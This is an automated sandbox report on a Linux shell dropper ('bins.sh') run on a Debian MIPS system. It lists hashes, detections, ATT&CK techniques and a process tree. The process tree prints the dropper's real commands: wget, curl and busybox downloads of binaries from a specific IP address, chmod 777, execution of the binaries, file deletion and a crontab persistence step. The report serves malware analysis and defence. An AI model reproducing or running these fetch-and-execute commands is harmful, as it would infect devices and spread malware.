4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5

Analysis

max time kernel
57s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21/11/2024, 03:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241121-ebl3payhpn
SHA256 4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5
MD5 7adee6a82232c4e4e503f4376352494b
SHA1 23340b6f7c25a2f123fd4d1fad6b7c97bfc3160a
SHA512 51e27f561e817abb5804fa57fdad07cf5f9bdf3bdf8907c7cca587cd4a122fb7f2ca22b3db0a013b43fdcebcc7b98ed7cf847e65c2155035d9e58a65eb5c9f6c
SSDEEP 96:Thk1e+cxt3ZB0X0v050i0O0V73nAoF1M181s1f1r1FTiG/wmlp1M181s1f1r194E:FkKWEse3D/mqypJfTisfmqypJeEse3Dd
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1557) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
759	chmod
748	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	749	Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	761	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5

Renames itself 1 IoCs

pid	Process
762	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vC4DBC	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/15/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/24/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/814/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/900/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/930/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/678/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/903/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/800/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/841/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/910/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/391/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/914/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/959/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/961/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/333/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/819/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/876/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/940/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/838/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/1/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/825/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/809/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/886/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/945/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/829/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/867/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/916/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/685/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/789/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/845/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/10/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/781/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/849/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/960/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/14/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/720/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/778/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/865/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/949/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/953/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/5/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/9/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/792/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/948/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/950/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/11/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/433/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/787/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/790/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/801/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/835/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/713/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/723/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/833/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/861/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/926/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/794/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/810/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/875/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/955/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/852/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/361/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
File opened for reading	/proc/823/cmdline	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	busybox
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	wget
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	curl
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	busybox
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:716
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:719
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:751
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Writes file to tmp directory
  PID:752
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:761
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:763
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:765
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:766
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:768
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:783

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX

Path /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5

Path /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.vC4DBC

Path /var/spool/cron/crontabs/tmp.vC4DBC
Size 210B
SHA256 44e149463a6ee89045a679d95f7f0387f9e7590511e28b198dabf36f106294ea
MD5 98d50cb0460ce25b740fa0c7077cccf5
SHA1 c9bc7f38fb223e0b9e660252528eaba7eca10998
SHA512 eaf477e2fd77c3b1815e8603abdf17049b8b2259db378add6b748de99e157762f2490795f9adebe4a96b28bfa670411d15336659d8a5bc1646c061fd941a0307
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads